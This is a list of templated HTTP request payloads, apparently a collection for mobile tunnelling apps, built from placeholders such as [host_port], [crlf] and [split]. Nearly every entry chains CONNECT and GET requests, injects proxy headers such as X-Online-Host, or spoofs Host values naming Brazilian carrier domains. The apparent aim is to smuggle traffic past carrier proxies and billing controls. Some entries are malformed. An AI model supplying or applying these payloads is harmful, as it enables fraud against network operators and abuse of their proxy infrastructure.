- GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
- CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
- CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf]
- CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
- CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf]
- [method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1 \nHost: mhost \nConnection: close \nConnection: close \nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf]
- [crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf]
- [method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999 \r \n \r \n
- GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
- CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf]
- CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf]
- [raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf]
- [raw][split]GET mhost/ HTTP/1.1[crlf] [crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
- [raw]split]GET mhost/ HTTP/1.1[crlf][crlf]
- GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf]
- GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]
- CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf]
- GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf]
- CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1 \rHost: mhost \r[crlf]X-Online-Host: mhost \r[crlf]X-Forward-Host: mhost \rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
- GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
- [netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf]
- [raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf]
- GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf]
- [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
- [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
- [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
- [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf]
- CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
- CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf]
- GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf]
- GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/ \nUser-Agent: Yes \nConnection: close \nProxy-Connection: Keep-Alive \n \r \n \r \n[netData] \r \n  \r \n \r \n
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf]
- [raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf]
- [raw] HTTP/1.0 \r \n \r \nGET http://mhost/ HTTP/1.1 \r \nHost: mhost \r \nConnection: Keep-Alive \r \nCONNECT mhost \r \n \r \n
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf]
- GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf]
- CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
- [raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1 \r \nHost: mhost \r \n \r \n[netData] \r \n \r \n \r \n
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
- GET http://mhost/ HTTP/1.1 \r \nX-Online-Host:mhost \r \n \r \nCONNECT mip:443[crlf]HTTP/1.0 \r \n  \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \ \r \n
- GET http://mhost/ HTTP/1.1 \r \nGET: mhost \n \r \nCONNECT mip:443[crlf]HTTP/1.0 \r \n  \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \ \r \n
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
- GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]mhost \r \nHost:mhost \r \n \r \n[netData] \r \n  \r \n \r \n
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/  [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr]
- [realData][crlf][split]GET http://mhost/  HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf]
- CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf]
- [raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf]
- [raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf]
- GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf]
- CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
